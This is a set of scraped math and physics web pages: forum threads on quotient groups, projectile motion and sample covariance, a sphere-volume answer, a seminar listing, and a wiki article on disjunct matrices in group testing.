https://www.physicsforums.com/threads/quotient-group.519236/	# Quotient Group 1. Aug 4, 2011 ### Shackleford http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_134032.jpg?t=1312484230 [Broken] http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_134038.jpg?t=1312484242 [Broken] I found that the order of G/H is 6. According to the Lagrange's Thereom, order of G = order of H * index of H in G = order of H * order of G/H The index of H in G is the number of distinct left cosets. The quotient group G/H is the cosets of H in G. Since H is normal, the left and right cosets are equal. Thus, the distinct left cosets equal to cosets of H in G. Find the distinct elements of G/H? G = S4 has 4! = 24 elements. Do I need to operate each of the 24 elements of G on the 6 elements of H? Or, since it is a symmetric group, is there a faster way to find the distinct elements? Last edited by a moderator: May 5, 2017 2. Aug 4, 2011 ### micromass Yes, you will need to operate each of the 24 elements on the 4 elements on H, and you'll need to see what pops out. However, you don't need to operate every single on of the 24 elements. If you're smart, you'll only need to operate 6 elements! For example, if I operate (1) on H, then I of course get {(1),(1 2)(3 4),(1 3)(2 4),(1 4)(2 3)}. But if I operate (1 2)(3 4) on H, then I already know that I get the same coset. So I don't need to operate (1 2)(3 4) on H, since I already know the result. Using such a logic, I claim that you can find all 6 cosets by operating only 6 elements on H. Last edited by a moderator: May 5, 2017 3. Aug 4, 2011 ### Shackleford How do you know you get the same coset? Is it because (1 2)(3 4) is in (1)H? Also, I think I made some progress on the other problem. I'll scan my work in a little bit. 4. Aug 4, 2011 ### micromass Indeed, in general: If aH is a coset and if $b\in aH$, then aH=bH. In this case, (1)H is a coset and (1 2)(3 4) is in H, so (1)H=(1 2)(3 4)H. 5. Aug 4, 2011 ### Shackleford Crap. I vaguely remember that. I had a hard time paying attention in class for these sections. 6. Aug 4, 2011 ### stringy Perhaps it would help to remember that cosets are simply equivalence classes...? Then if $b\in aH$, it's pretty clear why $aH=bH$ should be true. For if two equivalence classes have an element in common, then they are equal. 7. Aug 4, 2011 ### Shackleford A coset is an equivalence class? No. That's not clear. I don't see it in the book. Let me check the notes. 8. Aug 4, 2011 ### stringy Suppose G is a group and let H be a subgroup. Define an equivalence relation $\sim$ between two group element as $$a\sim b$$ if $b=ah$ for some $h \in H$. Proving transitivity, symmetry, and reflexivity is pretty straitforward. And the equivalence classes of this relation are the cosets of H! Then you can throw everything you know about equivalence classes at cosets: they partition the group, for any two they are either equal or disjoint, etc. etc. 9. Aug 4, 2011 ### Shackleford I still don't understand why. I hope this is in the book. I figured out the six subgroups, but I'm not getting a closed table. (1,2)(1,4) = (1,4,2) http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_204746.jpg?t=1312509725 [Broken] http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_205810.jpg?t=1312509740 [Broken] http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_204806.jpg?t=1312509750 [Broken] Last edited by a moderator: May 5, 2017 10. Aug 4, 2011 ### micromass Yes, and (1 4 2)H=(1 2 3)H. So $$(1~2)H.(1~4)H=(1~2)(1~4)H=(1~4~2)H=(1~2~3)H$$ Last edited by a moderator: May 5, 2017 11. Aug 4, 2011 ### Shackleford -_- I could have checked the subgroups. I'm very burnt out. I'm ready to be finished with this class and thus the summer semester(s). This homework is due in the morning, then one Monday, and the final is Wednesday. I have another question for you in a minute. 12. Aug 4, 2011 ### Shackleford Okay. I finished this problem, painfully so. Here is the next one. I'm not sure I'm doing enough to show this. Just by looking at the subgroup H with I and -I, you could reason that H is a normal subgroup. http://i111.photobucket.com/albums/n149/camarolt4z28/IMG_20110804_185509.jpg?t=1312511637 [Broken] Last edited by a moderator: May 5, 2017 13. Aug 4, 2011 ### micromass What you wrote down is completely correct!! Last edited by a moderator: May 5, 2017 14. Aug 4, 2011 ### Shackleford It just seems like a trivial answer. Given some of the other abstract algebra problems, it doesn't feel like I'm doing enough! Haha. Similar Discussions: Quotient Group	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7757522463798523, "perplexity": 1056.7995432658981}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-05/segments/1516084888341.28/warc/CC-MAIN-20180120004001-20180120024001-00342.warc.gz"}
https://www.physicsforums.com/threads/define-angle-of-projection-with-the-given-parameters.572541/	# Homework Help: Define Angle of Projection with The Given Parameters 1. Jan 30, 2012 ### velouria131 1. The problem statement, all variables and given/known data A projectile is launched with a speed v at an angle theta above the horizontal. Ignore air resistance. Derive an expression for the angle theta in terms of the parameters of the problem such that the horizontal distance from the launch of the object is N times greater than the maximum height achieved during its flight. Assume that the object lands at the same vertical position from which it was launched and that the acceleration due to gravity is taken as g 2. Relevant equations v = vo + at vav = ½(vo + v) x = xo + ½(vo + v)t x = xo + vot + ½at² v² = vo² + 2a(x - xo) x = xo + vt - ½at² 3. The attempt at a solution First of all, thanks for any help and hello. I have sat here for quite awhile deliberating, and I seem to just convolute any potential solutions. The first thing I did was draw vector R at angle theta from the horizontal. I then made two tables; table X and table Y. I defined the initial velocity in the X direction as vcos? and the initial velocity in the Y direction as vsin?. I defined the acc. in the Y direction as -9.8 m/s^2. I assumed from this point that I would have to construct an equation - inverse tangent vsin? / vcos?, in terms of vsin? and vcos? that would end of being numerical. I cannot for the life of me figure this part out. The key seems to be that the horizontal distance traveled is N times the maximum vertical distance, which would be N times the the distance traveled by the object whose finally velocity is zero and initial velocity vsin?. Where do I go from here? Or am I even on the correct track? Thanks again. Last edited: Jan 30, 2012 2. Jan 30, 2012 ### Simon Bridge When you get lost - draw the v-t diagrams. For this problem, there are two. One for vertical and one for horizontal motion. Horizontal is just flat for some time T (leave it as T for now). The horizontal distance traveled is the area under this graph - horizontal speed times T. note: if θ is the angle between the initial velocity vector and the ground, then vx=v.cos(θ) ... that's correct :) The vertical one is a line starting at vy and dropping to -vy in time T. The total area will be zero, which is because you start and finish at the same height. The area under the first half of the graph is the maximum vertical height. So now your relationship between max height and horizontal distance is actually a relationship between two areas... the area of a triangle and the area of a rectangle - you can do those! You can get the expression of T from the slope of the vy-t graph (hint: it's -g) 3. Jan 31, 2012 ### velouria131 I appreciate the help, that clears up quite a bit. I have just woken up, and upon reading this recognize how expressions may be constructed representative of the angle theta using these two vt graphs. However, will this enable me to solve for an actual angle? Or by expression in terms of the parameter, is the problem simply asking for an equation? 4. Jan 31, 2012 ### Simon Bridge When you write the expressions down in a list, you'll see what needs to be done. You'll end up with 4 equations and 4 unknowns - hint: sin/cos=tan; leave everything as letters. 5. Jan 31, 2012 ### velouria131 Alright, let's see. You say there are four expressions? T = sqrt of (-g)^2 -v^2(sinx)^2. T * vcosx is the horizontal distance and 1/2Tvsinx is the maximum vertical distance. Am I missing something? Now, I guess the problem I am having (at this point) is conceptualizing as to what I am supposed to do with these expressions (if they are correct that is)! Do I derive expressions for vsinx and vcosx and then take the arctan of this expression? I guess I am lost as to what my ends are here. Thanks. 6. Jan 31, 2012 ### Simon Bridge I don't think that first one is right somehow. You have T=some stuff, then say that is a horizontal distance? The "some stuff" does not have the right units for distance or time. Put max vertical distance as "h" and the max horizontal distance as "R", and initial speed as "v", initial angle is θ (click "go advanced", or "quote" and look on the right) it will be easier. From vy-t graph you have an expression for the area of one triangle (there are two) and an expression for the slope of the line (2 equations). From the vx-t graph you have an expression for the area of the whole graph (1 equation). From the description of the problem you have an expression relating max height to range. This one, with the three from the graphs makes four. The three expressions from the graphs describe every possible motion that has that sort-of shape. The last expression selects one of the possible motions suggested by the graphs. So all four of them, together, describe the motion you want. I'll start you off: from vx-t graph, R is the area, which is "base times height", so: R=vTcosθ ...eq.(1) from vy-t graph, h is the area under one triangle, which is "half-base-times-height". The base is (T/2) and the height is v.sinθ so: 2h=vT.sinθ ...eq.(2) The slope of the vy-t graph is "rise-over-run" ... you do it. That's eq.(3) Eq.(4) comes from the relationship between h and R. You do it. Once you have them, you have completely described the words in the problem as maths. At that point, you must extract only the parts of the math that is of interest. You need to use algebra to put what you want to know only in terms of things you already know. So you are not told the max height or the range, but you are told how they relate to each other - so N can be treated as a known quantity. Acceleration of gravity is known. Anything else? When you have eliminated all your unknowns except for θ, you solve for θ and you have your answer. Last edited: Jan 31, 2012	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9281153678894043, "perplexity": 685.6712464059003}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-39/segments/1537267161661.80/warc/CC-MAIN-20180925143000-20180925163400-00232.warc.gz"}
https://math.answers.com/other-math/If_the_radius_of_a_basketball_is_5_inches_what_is_the_volume	0 # If the radius of a basketball is 5 inches what is the volume? Wiki User 2010-02-06 13:47:34 If the Basketball is regarded as a perfect sphere then the formula for the volume (V) is V = 4/3πr3 where r is the radius. If the radius is 5 inches then V = 4/3π53 = 500/3π = 523.60 cubic inches (2dp) Wiki User 2010-02-06 13:47:34 Study guides 20 cards ➡️ See all cards 3.74 1032 Reviews	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.882049560546875, "perplexity": 2956.015847631593}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103877410.46/warc/CC-MAIN-20220630183616-20220630213616-00488.warc.gz"}
https://www.math.gatech.edu/seminars-and-colloquia-by-series?page=368	## Seminars and Colloquia by Series Thursday, September 11, 2008 - 15:00 , Location: Skiles 269 , Robert Foley , ISyE, Georgia Tech , Organizer: Heinrich Matzinger Under certain conditions, we obtain exact asymptotic expressions for the stationary distribution \pi of a Markov chain. In this talk, we will consider Markov chains on {0,1,...}^2. We are particularly interested in deriving asymptotic expressions when the fluid limit of the most probable paths from the origin to the rare event are nonlinear. For example, we will derive asymptotic expressions for a large deviation along the x-axis (e.g., \pi(\ell, y) for fixed y) when the most probable paths to (\ell,y) initially climb the y-axis before turning southwest and drifting towards (\ell,y). Wednesday, September 10, 2008 - 13:00 , Location: ISyE Executive Classroom , Joel Sokol , ISyE, Georgia Tech , Organizer: Annette Rohrs In order to estimate the spread of potential pandemic diseases and the efficiency of various containment policies, it is helpful to have an accurate model of the structure of human contact networks. The literature contains several explicit and implicit models, but none behave like actual network data with respect to the spread of disease. We discuss the difficulty of modeling real human networks, motivate the study of some open practical questions about network structure, and suggest some possible avenues of attack based on some related research. Wednesday, September 10, 2008 - 12:00 , Location: Skiles 255 , Zhiwu Lin , School of Mathematics, Georgia Tech , Organizer: A plasma is a gas of ionized particles. For a dilute plasma of very high temperature, the collisions can be ignored. Such situations occur, for example, in nuclear fusion devices and space plasmas. The Vlasov-Poisson and Vlasov-Maxwell equations are kinetic models for such collisionless plasmas. The Vlasov-Poisson equation is also used for galaxy evolution. I will describe some mathematical results on these models, including well-posedness and stability issues. Wednesday, September 10, 2008 - 11:00 , Location: Skiles 255 , Michael Goodisman , School of Biology, Georgia Tech , Organizer: Christine Heitsch The evolution of sociality represented one of the major transition points in biological history. Highly social animals such as social insects dominate ecological communities because of their complex cooperative and helping behaviors. We are interested in understanding how evolutionary processes affect social systems and how sociality, in turn, affects the course of evolution. Our research focuses on understanding the social structure and mating biology of social insects. In addition, we are interested in the process of development in the context of sociality. We have found that some social insect females mate with multiple males, and that this behavior affects the structure of colonies. We have also found that colonies adjust their reproductive output in a coordinated and adaptive manner. Finally, we are investigating the molecular basis underlying the striking differences between queens and workers in highly social insects. Overall, our research provides insight into the function and evolutionary success of highly social organisms. Series: PDE Seminar Tuesday, September 9, 2008 - 15:15 , Location: Skiles 255 , Marta Lewicka , School of Mathematics, University of Minnesota , Organizer: A longstanding problem in the mathematical theory of elasticity is to predict theories of lower-dimensional objects (such as rods, plates or shells), subject to mechanical deformations, starting from the 3d nonlinear theory. For plates, a recent effort (in particular work by Friesecke, James and Muller) has lead to rigorous justification of a hierarchy of such theories (membrane, Kirchhoff, von Karman). For shells, despite extensive use of their ad-hoc generalizations present in the engineering applications, much less is known from the mathematical point of view. In this talk, I will discuss the limiting behaviour (using the notion of Gamma-limit) of the 3d nonlinear elasticity for thin shells around an arbitrary smooth 2d mid-surface S. We prove that the minimizers of the 3d elastic energy converge, after suitable rescaling, to minimizers of a hierarchy of shell models. The limiting functionals (which for plates yield respectively the von Karman, linear, or linearized Kirchhoff theories) are intrinsically linked with the geometry of S. They are defined on the space of infinitesimal isometries of S (which replaces the 'out-of-plane-displacements' of plates), and the space of finite strains (which replaces strains of the `in-plane-displacements'), thus clarifying the effects of rigidity of S on the derived theories. The different limiting theories correspond to different magnitudes of the applied forces, in terms of the shell thickness. This is joint work with M. G. Mora and R. Pakzad. Monday, September 8, 2008 - 16:30 , Location: Skiles 269 , Vadim Yu Kaloshin , Mathematics Department, Penn State , Organizer: Yingfei Yi Consider the classical Newtonian three-body problem. Call motions oscillatory if as times tends to infinity limsup of maximal distance among the bodies is infinite, while liminf it finite. In the '50s Sitnitkov gave the first rigorous example of oscillatory motions for the so-called restricted three-body problem. Later in the '60s Alexeev extended this example to the three-body. A long-standing conjecture, probably going back to Kolmogorov, is that oscillatory motions have measure zero. We show that for the Sitnitkov example and for the so-called restricted planar circular three-body problem these motions have maximal Hausdorff dimension. This is a joint work with Anton Gorodetski. Monday, September 8, 2008 - 14:00 , Location: Skiles 269 , Roland van der Veen , University of Amsterdam , Organizer: Stavros Garoufalidis The hyperbolic volume and the colored Jones polynomial are two of the most powerful invariants in knot theory. In this talk we aim to extend these invariants to arbitrary graphs embedded in 3-space. This provides new tools for studying questions about graph embedding and it also sheds some new light on the volume conjecture. According to this conjecture, the Jones polynomial and the volume of a knot are intimately related. In some special cases we will prove that this still holds true in the case of graphs. Friday, September 5, 2008 - 15:00 , Location: Skiles 255 , Ernie Croot , School of Mathematics, Georgia Tech , Organizer: Prasad Tetali Let A be a set of n real numbers. A central problem in additive combinatorics, due to Erdos and Szemeredi, is that of showing that either the sumset A+A or the product set A.A, must have close to n^2 elements. G. Elekes, in a short and brilliant paper, showed that one can give quite good bounds for this problem by invoking the Szemeredi-Trotter incidence theorem (applied to the grid (A+A) x (A.A)). Perhaps motivated by this result, J. Solymosi posed the following problem (actually, Solymosi's original problem is slightly different from the formulation I am about to give). Show that for every real c > 0, there exists 0 < d < 1, such that the following holds for all grids A x B with \|A\| = \|B\| = n sufficiently large: If one has a family of n^c lines in general position (no three meet at a point, no two parallel), at least one of them must fail to be n^(1-d)-rich -- i.e. at least one of then meets in the grid in fewer than n^(1-d) points. In this talk I will discuss a closely related result that I and Evan Borenstein have proved, and will perhaps discuss how we think we can use it to polish off this conjecture of Solymosi. Thursday, September 4, 2008 - 15:00 , Location: Skiles 269 , Heinrich Matzinger , School of Mathematics, Georgia Tech , Organizer: Heinrich Matzinger A common subsequence of two sequences X and Y is a sequence which is a subsequence of X as well as a subsequence of Y. A Longest Common Subsequence (LCS) of X and Y is a common subsequence with maximal length. Longest Common subsequences can be represented as alignments with gaps where the aligned letter pairs corresponds to the letters in the LCS. We consider two independent i.i.d. binary texts X and Y of length n. We show that the behavior of the the alignment corresponding to the LCS is very different depending on the number of colors. With 2-colors, long blocks tend to be aligned with no gaps, whilst for four or more colors the opposite is true. Let Ln denote the length of the LCS of X and Y. In general the order of the variance of Ln is not known. We explain how a biased affect of a finite pattern can influence the order of the fluctuation of Ln. Wednesday, September 3, 2008 - 12:00 , Location: Skiles 255 , Robin Thomas , School of Mathematics, Georgia Tech , Organizer: I will explain and prove a beautiful and useful theorem of Alon and Tarsi that uses multivariate polynomials to guarantee, under suitable hypotheses, the existence of a coloring of a graph. The proof method, sometimes called a Combinatorial Nullstellensatz, has other applications in graph theory, combinatorics and number theory.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8224322199821472, "perplexity": 916.2310044601813}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267864039.24/warc/CC-MAIN-20180621055646-20180621075646-00400.warc.gz"}
http://mathhelpforum.com/advanced-statistics/132216-correlation-samples-print.html	# Correlation of samples • March 5th 2010, 01:49 PM Anonymous1 Correlation of samples Let $X_i, i= 1,..,n,$ be i.i.d. sampes from $N(\mu, \sigma^2).$ Let $\bar{X} = \frac{1}{n}\sum_{i=1}^{n} X_i.$ Prove that $\bar{X}$ and $X_i - \bar{X}$ are uncorrelated for any $i.$ • March 5th 2010, 10:13 PM matheagle for simplicity let i=1.... Let's obtain the covariance between $\bar X$ and $X_1-\bar X$ $Cov(\bar X,X_1-\bar X) ={1\over n} Cov\left(X_1+\cdots +X_n,\left(1-{1\over n}\right)X_1-{1\over n}[X_2+\cdots +X_n]\right)$ Now find the covariance between each pair, taking one term from each set. ALL we need is for the $Cov(X_i,X_j)=0$ for each $i\ne j$ , we don't need NORMALITY... $\left({1\over n}\right)\left[\left(1-{1\over n}\right)\sigma_1^2-{1\over n}\left[\sigma_2^2+\cdots +\sigma_n^2\right]\right)$ Next use the fact that all the variances are equal this becomes zero. Changing 1 to i is easy, just sum over all the terms that's not i in the second sum.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 12, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9842896461486816, "perplexity": 776.2259154653684}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-23/segments/1405997869778.45/warc/CC-MAIN-20140722025749-00159-ip-10-33-131-23.ec2.internal.warc.gz"}
https://en.formulasearchengine.com/wiki/Disjunct_matrix	# Disjunct matrix Disjunct and separable matrices play a pivotal role in the mathematical area of non-adaptive group testing. This area investigates efficient designs and procedures to identify 'needles in haystacks' by conducting the tests on groups of items instead of each item alone. The main concept is that if there are very few special items (needles) and the groups are constructed according to certain combinatorial guidelines, then one can test the groups and find all the needles. This can reduce the cost and the labor associated with of large scale experiments. The grouping pattern can be represented by a ${\displaystyle t\times n}$ binary matrix, where each column represents an item and each row represents a pool. The symbol '1' denotes participation in the pool and '0' absence from a pool. The d-disjunctness and the d-separability of the matrix describe sufficient condition to identify d special items. In a matrix that is d-separable, the Boolean sum of every d columns is unique. In a matrix that is d-disjunct the Boolean sum of every d columns does not contain any other column in the matrix. Theoretically, for the same number of columns (items), one can construct d-separable matrices with fewer rows (tests) than d-disjunct. However, designs that are based on d-separable are less applicable since the decoding time to identify the special items is exponential. In contrast, the decoding time for d-disjunct matrices is polynomial. ## d-separable ### Decoding algorithm First we will describe another way to look at the problem of group testing and how to decode it from a different notation. We can give a new interpretation of how group testing works as follows: This formalizes the relation between ${\displaystyle \mathbf {x} }$ and the columns of ${\displaystyle M}$ and ${\displaystyle \mathbf {r} }$ in a way more suitable to the thinking of ${\displaystyle d}$-separable and ${\displaystyle d}$-disjunct matrices. The algorithm to decode a ${\displaystyle d}$-separable matrix is as follows: 1. For each ${\displaystyle T\subseteq [n]}$ such that ${\displaystyle \|T\|\leq d}$ check if ${\displaystyle S_{\mathbf {r} }=\bigcup _{j\in T}S_{M_{j}}}$ This algorithm runs in time ${\displaystyle n^{{\mathcal {O}}(d)}}$. ## d-disjunct In literature disjunct matrices are also called super-imposed codes and d-cover-free families. ### Decoding algorithm The algorithm for ${\displaystyle d}$-separable matrices was still a polynomial in ${\displaystyle n}$. The following will give a nicer algorithm for ${\displaystyle d}$-disjunct matrices which will be a ${\displaystyle d}$ multiple instead of raised to the power of ${\displaystyle d}$ given our bounds for ${\displaystyle t}$. The algorithm is as follows in the proof of the following lemma: Lemma 1: There exists an ${\displaystyle {\mathcal {O}}(nt)}$ time decoding for any ${\displaystyle d}$-disjunct ${\displaystyle t}$ x ${\displaystyle n}$ matrix. Proof of Lemma 1: Given as input ${\displaystyle \mathbf {r} \in \{0,1\}^{t},M}$ use the following algorithm: By Observation 1 we get that any position where ${\displaystyle \mathbf {r} _{i}=0}$ the appropriate ${\displaystyle \mathbf {x} _{j}}$'s will be set to 0 by step 2 of the algorithm. By Observation 2 we have that there is at least one ${\displaystyle i}$ such that if ${\displaystyle \mathbf {x} _{j}}$ is supposed to be 1 then ${\displaystyle M_{i,j}=1}$ and, if ${\displaystyle \mathbf {x} _{j}}$ is supposed to be 1, it can only be the case that ${\displaystyle \mathbf {r} _{i}=1}$ as well. Therefore step 2 will never assign ${\displaystyle \mathbf {x} _{j}}$ the value 0 leaving it as a 1 and solving for ${\displaystyle \mathbf {x} }$. This takes time ${\displaystyle {\mathcal {O}}(nt)}$ overall. ${\displaystyle \Box }$ ## Upper bounds for non-adaptive group testing The results for these upper bounds rely mostly on the properties of ${\displaystyle d}$-disjunct matrices. Not only are the upper bounds nice, but from Lemma 1 we know that there is also a nice decoding algorithm for these bounds. First the following lemma will be proved since it is relied upon for both constructions: Note: these conditions are stronger than simply having a subset of size ${\displaystyle d}$ but rather applies to any pair of columns in a matrix. Therefore no matter what column ${\displaystyle i}$ that is chosen in the matrix, that column will contain at least ${\displaystyle w_{\min }}$ 1's and the total number of shared 1's by any two columns is ${\displaystyle a_{\max }}$. Proof of Lemma 2: Fix an arbitrary ${\displaystyle S\subseteq [n],\|S\|\leq d,j\notin S}$ and a matrix ${\displaystyle M}$. There exists a match between ${\displaystyle i\in S{\text{ and }}j\notin S}$ if column ${\displaystyle i}$ has a 1 in the same row position as in column ${\displaystyle j}$. Then the total number of matches is ${\displaystyle \leq a_{\max }\cdot d\leq a_{\max }\cdot ({\frac {w_{\min }-1}{a_{\max }}})=w_{\min }-1<{\text{ }}w_{\min }}$, i.e. a column ${\displaystyle j}$ has a fewer number of matches than the number of ones in it. Therefore there must be a row with all 0s in ${\displaystyle S}$ but a 1 in ${\displaystyle j}$. ${\displaystyle \Box }$ We will now generate constructions for the bounds. ### Randomized construction This first construction will use a probabilistic argument to show the property wanted, in particular the Chernoff bound. Using this randomized construction gives that ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log n)}$. The following lemma will give the result needed. Theorem 1: There exists a random ${\displaystyle d}$-disjunct matrix with ${\displaystyle {\mathcal {O}}(d^{2}\log n)}$ rows. Note that in this proof ${\displaystyle t=d^{2}\log n}$ thus giving the upper bound of ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log n)}$. ${\displaystyle \Box }$ ### Strongly explicit construction It is possible to prove a bound of ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log ^{2}{n})}$ using a strongly explicit code. Although this bound is worse by a ${\displaystyle \log n}$ factor, it is preferable because this produces a strongly explicit construction instead of a randomized one. Theorem 2: There exists a strongly explicit ${\displaystyle d}$-disjunct matrix with ${\displaystyle {\mathcal {O}}(d^{2}\log ^{2}{n})}$ rows. This proof will use the properties of concatenated codes along with the properties of disjunct matrices to construct a code that will satisfy the bound we are after. then ${\displaystyle M_{C^{}}}$ is ${\displaystyle \lfloor {\frac {w_{\min }-1}{a_{\max }}}\rfloor }$-disjunct. To complete the proof another concept must be introduced. This concept uses code concatenation to obtain the result we want. Kautz-Singleton '64 --- Example: Let ${\displaystyle k=1,q=3,C_{out}=\{(0,0,0),(1,1,1),(2,2,2)\}}$. Below, ${\displaystyle M_{C}}$ denotes the matrix of codewords for ${\displaystyle C_{out}}$ and ${\displaystyle M_{C^{}}}$ denotes the matrix of codewords for ${\displaystyle C^{*}=C_{out}\circ C_{in}}$, where each column is a codeword. The overall image shows the transition from the outer code to the concatenated code. --- Thus we have a strongly explicit construction for a code that can be used to form a group testing matrix and so ${\displaystyle t(d,n)\leq (d\log n)^{2}}$. For non-adaptive testing we have shown that ${\displaystyle \Omega (d\log n)\leq t(d,n)}$ and we have that (i) ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log ^{2}{n})}$ (strongly explicit) and (ii) ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log n)}$ (randomized). As of recent work by Porat and Rothscheld, they presented an explicit method construction (i.e. deterministic time but not strongly explicit) for ${\displaystyle t(d,n)\leq {\mathcal {O}}(d^{2}\log n)}$,[1] however it is not shown here. There is also a lower bound for disjunct matrices of ${\displaystyle t(d,n)\geq \Omega ({\frac {d^{2}}{\log d}}\log n)}$[2][3][4] which is not shown here either. ## Examples Here is the 2-disjunct matrix ${\displaystyle M_{9\times 12}}$:	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 270, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9352563619613647, "perplexity": 343.10476054387556}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296950110.72/warc/CC-MAIN-20230401160259-20230401190259-00220.warc.gz"}
